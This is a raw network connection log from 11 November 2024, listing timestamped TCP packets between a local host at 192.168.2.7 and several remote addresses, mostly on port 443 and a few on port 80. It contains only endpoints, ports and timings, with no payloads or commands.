Nov 11, 2024 19:17:39.584808111 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:39.595004082 CET	443	49719	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:39.595571995 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:39.595614910 CET	443	49719	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:39.596709013 CET	443	49719	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:39.596802950 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:39.597224951 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:39.597282887 CET	443	49719	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:39.600687981 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.601500034 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.601541042 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.601819992 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.602056026 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.602061987 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.602212906 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.602232933 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.602823973 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.602829933 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.605556965 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.606098890 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.606116056 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.606323957 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.606617928 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.606661081 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.606673002 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.606692076 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.607026100 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.607034922 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.607455015 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.607790947 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.607804060 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.608536959 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.608542919 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.639353991 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:39.639401913 CET	443	49719	142.250.185.196	192.168.2.7
Nov 11, 2024 19:17:39.693268061 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.693769932 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.693881035 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.694564104 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.694721937 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.694721937 CET	49720	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.694750071 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.694761992 CET	443	49720	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.695636034 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.695710897 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.695755959 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.695775032 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.695785999 CET	49723	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.695792913 CET	443	49723	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.697406054 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.697494030 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.697578907 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.697757959 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.697774887 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.697909117 CET	49727	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.697947979 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.698013067 CET	49727	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.698103905 CET	49727	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.698117971 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.698668957 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.698698044 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.698749065 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.698760986 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.698807001 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.698813915 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.698826075 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.698868990 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.698997021 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.699002981 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.699012041 CET	49722	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.699017048 CET	443	49722	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.699440956 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.699464083 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.699517965 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.699532032 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.699547052 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.699588060 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.699713945 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.699723005 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.699738026 CET	49724	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.699743986 CET	443	49724	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.701406002 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.701416969 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.701503038 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.701623917 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.701636076 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.701746941 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.701762915 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.701822996 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.701993942 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.702013016 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.702419996 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:39.702891111 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.702915907 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.702985048 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.703001022 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.703044891 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.703056097 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.703066111 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.703111887 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.704474926 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.704492092 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.704508066 CET	49721	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.704514027 CET	443	49721	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.706921101 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.706933975 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:39.706996918 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.707139969 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:39.707150936 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.184514999 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.184600115 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.188536882 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.188561916 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.188862085 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.213529110 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.214405060 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.216085911 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.216094971 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.219849110 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.219944000 CET	49727	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.219969034 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.220525026 CET	49727	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.220551968 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.220874071 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.220889091 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.221379995 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.221385002 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.221649885 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.221664906 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.222074986 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.222079992 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.222397089 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.222410917 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.222767115 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.222770929 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.223066092 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.223077059 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.223634005 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.223639965 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.232635021 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.268158913 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.309132099 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.309946060 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.310000896 CET	49727	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.310153961 CET	49727	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.310173035 CET	443	49727	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.311882973 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.311947107 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.311988115 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.312196016 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.312221050 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.312233925 CET	49729	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.312239885 CET	443	49729	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.312489986 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.312820911 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.312865973 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.313683033 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.313692093 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.313702106 CET	49728	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.313708067 CET	443	49728	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.315331936 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.316114902 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.316148043 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.316206932 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.316886902 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.316888094 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.316903114 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.316932917 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.316983938 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.317152023 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.317164898 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.317770958 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.317801952 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.317853928 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.317976952 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.317985058 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.318073034 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.318146944 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.318191051 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.318303108 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.318308115 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.318322897 CET	49730	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.318325996 CET	443	49730	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.320837021 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.320863962 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.320919991 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.321049929 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.321065903 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.329798937 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.329894066 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.329941034 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.330108881 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.330122948 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.330142021 CET	49726	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.330147982 CET	443	49726	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.333241940 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.333276033 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.333332062 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.333514929 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.333529949 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.378567934 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:40.378612995 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:40.378681898 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:40.379139900 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:40.379158020 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:40.435836077 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.435913086 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.435967922 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.436099052 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.436130047 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.436145067 CET	49725	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.436151981 CET	443	49725	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.477574110 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.477642059 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.477740049 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.478085041 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:40.478105068 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:40.607969999 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:40.608592033 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:40.702492952 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:40.702510118 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:40.702622890 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:40.710923910 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:40.710952044 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:40.715945959 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:40.715970039 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:40.831242085 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.831831932 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.835088015 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.846570969 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:40.874270916 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.875021935 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.889884949 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.889947891 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:40.969914913 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.014921904 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.213546991 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.213578939 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.214215040 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.214309931 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.214905977 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.214943886 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.214952946 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.215004921 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.215198040 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.215270042 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.215406895 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.215418100 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.215435028 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.216015100 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.216023922 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.216622114 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.216638088 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.216641903 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.216649055 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.217041016 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.217051983 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.217369080 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.217374086 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.217495918 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.217497110 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.217499971 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.217508078 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.258721113 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.258733988 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.280184031 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.280297041 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:41.287638903 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:41.287657976 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.287941933 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.289414883 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:41.335330963 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.362060070 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.362073898 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.362123966 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.362134933 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.362185001 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.362227917 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.362258911 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.362390041 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.362570047 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.362592936 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.362595081 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.362610102 CET	49732	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.362617016 CET	443	49732	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.363137007 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.363255978 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.363305092 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.364105940 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.364125013 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.364136934 CET	49735	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.364141941 CET	443	49735	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.364496946 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.364500999 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.364532948 CET	49733	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.364537001 CET	443	49733	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.364826918 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.364849091 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.364911079 CET	49731	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.364924908 CET	443	49731	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.367866993 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.367889881 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.368057966 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.369585037 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.369616985 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.369721889 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.370095015 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.370100021 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.370104074 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.370110989 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.371041059 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.371048927 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.371217966 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.371793032 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.371799946 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.372638941 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.372675896 CET	443	49744	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.372733116 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.372869015 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.372883081 CET	443	49744	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.456222057 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.456291914 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.456468105 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:41.457221985 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:41.457236052 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.457268000 CET	49737	443	192.168.2.7	184.28.90.27
Nov 11, 2024 19:17:41.457273006 CET	443	49737	184.28.90.27	192.168.2.7
Nov 11, 2024 19:17:41.498775005 CET	49677	443	192.168.2.7	20.50.201.200
Nov 11, 2024 19:17:41.508496046 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.561290026 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.561314106 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.563091993 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.563236952 CET	443	49736	172.217.16.206	192.168.2.7
Nov 11, 2024 19:17:41.563301086 CET	49736	443	192.168.2.7	172.217.16.206
Nov 11, 2024 19:17:41.869355917 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:41.869723082 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:41.887046099 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.887803078 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.887919903 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.888183117 CET	443	49744	13.107.246.45	192.168.2.7
